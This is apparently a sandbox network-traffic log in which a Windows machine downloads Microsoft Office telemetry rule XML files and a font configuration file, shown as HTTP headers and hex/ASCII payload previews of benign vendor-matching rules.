2024-11-11 11:40:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49742	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:15 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 11:40:15 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=18303 Date: Mon, 11 Nov 2024 11:40:15 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 33d00c7b-501e-007b-28d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968j6t2phC1EWRcfe800000004xg000000009w4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 4e338842-401e-0016-31d5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968psccphC1EWRuz9s000000054000000000627a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7eed3662-201e-003f-1ad5-336d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968c2t8dhC1EWR8s2000000004g0000000009z8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 2f59f176-901e-002a-79d5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968vwdr7hC1EWRsh3w00000004rg000000008kfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: cd0babfe-b01e-0002-56d5-331b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968nxc96hC1EWRspw800000004m000000000610b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49756	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 11:40:16 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=18348 Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-11 11:40:16 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 95c6b661-501e-0078-17d5-3306cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968ljs8phC1EWRe6en00000004ug000000000nrb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 5d78e2d9-801e-00a0-72d5-332196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968t42glhC1EWRa36w00000004m0000000005ws9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8377dd30-c01e-00a1-3ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968xlwnmhC1EWR0sv800000004p0000000007n8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 5f09de9a-701e-0050-70d5-336767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968glpgnhC1EWR7uec000000053g000000001rvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:16 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 31c5dc94-101e-008d-18d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114016Z-174f7845968glpgnhC1EWR7uec000000050g000000006699 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:17 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
